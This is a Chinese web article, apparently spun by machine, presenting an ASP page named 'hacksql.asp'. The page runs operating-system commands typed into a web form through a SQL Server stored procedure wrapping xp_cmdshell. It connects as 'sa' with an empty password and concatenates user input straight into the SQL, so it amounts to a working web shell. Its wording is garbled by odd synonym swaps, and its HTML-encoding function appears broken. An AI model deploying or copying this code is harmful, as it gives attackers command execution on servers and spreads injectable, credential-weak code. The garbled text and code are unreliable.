利用sql的存储过程实现dos命令的asp程序（原创^_^）

时间： 2021-07-31 作者：daque

1、开始在sql内里你不妨考察的数据库内里创造保存进程，比方说：ddy如次：create procedure ddy@cmd varchar(50)asexec master..xp_cmdshell @cmd2、asp步调里如次：（hacksql.asp）<%cmd=trim(request.form("cmd"))if cmd<>"" thenwork()elseshow()end iffunction work()set conn=server.createobject("adodb.connection")set rs=server.createobject("adodb.recordset")conn.open "xx","sa",""sql="exec ddy '"&cmd&"'"rs.open sql,connif not rs.eof thendo while not rs.eof response.write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>"rs.movenextloopelseresponse.write "no"end ifif rs.state=1 then rs.closeset rs=nothingconn.closeset conn=nothingend functionfunction show()%><form action=hacksql.asp method=post>请输出dos吩咐：<input type=text name=cmd><input type=submit value="ok"></form><%end functionfunction htmlencode2(str)'--------变换因变量（为了表露时比拟精巧）dim resultdim lif isnull(str) then htmlencode2="" exit functionend ifl=len(str)result=""dim ifor i = 1 to lselect case mid(str,i,1) case "<"result=result+"<" case ">"result=result+">" case chr(34)result=result+""" case "&"result=result+"&" case chr(13)result=result+"<br>" case chr(9)result=result+"" case "'"result=result+"’" case chr(32) result=result+" "if i+1<=l and i-1>0 then if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9)thenresult=result+" " elseresult=result+" " end ifelse result=result+" "end if case elseresult=result+mid(str,i,1) end select next htmlencode2=result end function%>

利用sql的存储过程实现dos命令的asp程序（原创^_^）

相关推荐

推荐下载

热门阅览

最新排行